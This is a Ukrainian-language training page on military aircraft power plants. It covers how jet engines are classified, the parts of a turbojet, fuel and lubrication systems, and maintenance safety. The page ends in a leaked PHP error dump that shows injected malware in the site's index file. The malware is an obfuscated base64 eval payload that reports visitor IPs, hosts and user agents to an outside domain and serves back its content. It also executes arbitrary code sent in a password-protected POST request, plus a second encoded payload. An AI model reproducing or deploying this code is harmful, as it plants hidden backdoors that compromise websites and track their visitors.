Силові установки військових літальних апаратів

Український легіон » Дисципліни » Експлуатація і ремонт авіаційного озброєння » Силові установки військових літальних апаратів

Класифікація авіаційних реактивних двигунів

Принцип дії ЛА здійснюється на перетворенні теплової енергії в механічну, на основі використання роботи розширення робочого тіла.

Джерелом теплової енергії в діючий час є хімічне паливо, а робочим тілом продукти згорання того ж палива або повітря зовнішнього середовища.

В двигунах прямої реакції сила тяги створюється за рахунок безпосереднього перетворення теплової енергії робочого тіла в кінетичну енергію того же робочого тіла. Такі двигуни отримали назву реактивних.

В двигунах непрямої реакції теплова енергія робочого тіла перетворюється в механічну роботу, яка витрачається на привод в рух гвинта. Енергія гвинта витрачається на збільшення кінетичної енергії струменя повітря, який обтікає гвинт.

Тяга двигуна перетворюється за рахунок реакції цього струменя повітря. Двигуни непрямої реакції – гвинтові.

Реактивні двигуни розподіляються на повітряно-реактивні і реактивні.

Якщо в ПРД для окислення пального в процесі горіння використовується атмосферне повітря, то в ракетних компонента палива розташовані на борту літального апарата.

 

Повітряно-реактивні двигуни розподіляються на газотурбінні (компресорні) і без компресорні:

До ГТД відносяться:

-         турбореактивні ( ТРД і ТРДФ );

-         двоконтурні ( ДТРД і ДТРДФ);

-         турбогвинтові двигуни.

До без компресорних відносяться:

-         прямоточні (ПДРД);

-         надзвукові (НДПРД);

-         гіперзвукові (ГППРД).

 До реактивних двигунів відносяться:

-         реактивні двигуни твердого палива;

-         рідинно-реактивні двигуни;

-         ядерно-реактивні двигуни;

Двигуни непрямої реакції (гвинтові) розподіляються на:

-         поршневі двигуни;

-         турбогвинтові двигуни;

-         двигуни.

 

Призначення елементів і особливості конструкції ТРДФ  

В даний час на літаках і вертольотах широке застосування знаходять ГТД, основними елементами якого являються:

-   вхідний пристрій – 1;

-   основний багатоступінчастий компресор – 2;

-  камера згорання – 3;

-   газова турбіна – 4;

-   вихідний пристрій з реактивним соплом – 5.

Вхідний пристрій призначений для попереднього підвищення тиску повітря, яке подається до компресору двигуна.

 

Компресор являє собою лопаточну машину, яка призначена для підвищення тиску повітря і подачі його в камеру згорання. Компресор складається із декількох ступенів і в залежності від цього може бути 3-х, 4-х і більше ступінчатим.

 

Камера згорання призначена для підводу тепла до робочого тіла і забезпечує стійке горіння паливо-горючої суміші. Особливість камер згорання ГТД те, що процес горіння струменя, який рухається здійснюється безперервно.

 

Турбіна призначена для часткового перетворення теплової енергії газового потоку в механічну роботу, яка в свою чергу, розходується на обертання компресора і агрегатів двигуна (насосів і т.д.).

 

Вихідний пристрій (сопло) призначений для відводу газового струменя в атмосферу. В вихідному пристрої відробляється частина кінетичної енергії, збільшується швидкість струменя за рахунок сопла, який звужується ( у дозвукових), і профільованого – типу сопла Лаволя (у надзвукових). Газовий струмінь, який витікає з сопла створює силу реакції – тягу, яка залежить від швидкості струменя.

Загальна характеристика систем авіаційного двигуна

Системи авіаційного двигуна

Система змащування призначена для підводу необхідної кількості мастила до деталі двигунів які труться, відводу поданого мастила, його охолодження і очистки. Мастило зменшує тертя та знос деталей, відводить від них тепло, захищає від корозії, виносить продукти зносу.

Паливна система призначена для подачі палива в камери згорання в потрібній кількості. Взагалі вона складається із пускової, основної і форсажної систем.

Пускова паливна система подає паливо до пускових форсунок соплової камери згорання. До неї входить бачок пускового палива, фільтр, пусковий насос з електроприводом електромагнітний клапан і западавач. Часто окремого пускового бачка не ставлять, для пускової системи служить паливо із основних паливних .

Основна паливна система забезпечує подачу палива в основну камеру згорання. Воно включає в себе підкачуючий насос з приводом від ротора двигуна, паливо мастильний радіатор, фільтр, основний насос, агрегати паливної автоматики, паливні колектори з паливними форсунками.

Форсажна паливна система подає паливо до форсунок камери. Паливо від підкачую чого насосу через радіатор і фільтр надходить до форсажного насосу при цьому надлишки його клапаном. Далі паливо через агро тяги автоматики, клапани і паливні колектори поступає до форсунок.

 

Заходи безпеки при обслуговуванні авіаційного двигуна

При технічному обслуговуванні авіадвигунів ІТС керується слідуючи ми загальними положеннями:

-         в процесі зупинки двигуна затвердження, що відсутній з вихідного сопла і сторонніх стуків на слух;

-         періодично перевіряти час вибігу ротора від поставки РУД в положення „Стоп” до повної зупинки ротора;

-         оглядається стан вхідного каналу двигуна і лопаток перших ступенів компресора, а також внутрішня поверхня форсажної камери на відсутність механічних пошкоджень, прогарів;

-         елементи паливної системи змащування не повинні мати теч;

-         при виявленні в мастилі металевої стружки двигун належить замінити.

Перед запуском двигуна площадку попереду вихідного пристрою уважно прибирають, а на самі вхідні пристрої ставлять запобіжні сітки.

Двигуни з невідомими причинами відмов в роботі, без формулярів, а також на яких не виконані регламентні роботи до експлуатації не допускаються.

 

 

 

 

Останні статті

Отримання дозволу на зброю
03.04.2015

Отримання дозволу на зброю

Перелік документів на придбання нарізної та гладкоствольної зброї
Детальніше
Гарнізонні заходи за участю військ.
28.05.2014

Гарнізонні заходи за участю військ.

Детальніше
MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: assert(): Assertion "eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vbGV0c2dvdG90b3AuY29tL2dldC5waHA/aXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiImZD0iLnVybGVuY29kZSgkbmFtZS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIuJHVzZXJhLiImaT0xJmg9Ii5tZDUoIjRmNGQzYjhlNzBmYzNkODJhN2VjN2VhNWU2ODk1Y2FhMTEiKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTskaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO2lmICgkaW5mb1siaHR0cF9jb2RlIl0hPTIwMCl7JGlidj0iIjt9CmN1cmxfY2xvc2UoJGNoKTsKfSBlbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkgewokaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsicCJdKSAmJiBtZDUobWQ1KCRfUE9TVFsicCJdKSkgPT0gIjNmMTFlNmE0MmJjMWQ4MDE2MDUwMzEyYzc4OWRkNzFmIikgeyBAZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJjIl0pKTsgfQplY2hvICRpYnY7Cn0gfQ=="));" failed 
  Error type/ Nr.: Warning - 2 
  File: /sata2/home/users/ukrlegion/www/www.ukrlegion.com/index.php 
  Line: 139 
  Line 139 source: $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ioTI0p2qiqT90o3NhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwEzATDmLwuyAmOzLmAxBQWuA2IwA2IuAJH2BQx1L2SuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwAzZGSyAzR0ZzWwZJD4ZQR2ZQHjZmRlLmp4BJExAmSzVvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); ?> 
 
Parser timing
  MySQL: 0,0123 s(22 Requests)
  PHP: 1,8145 s 
  Total: 1,8269 s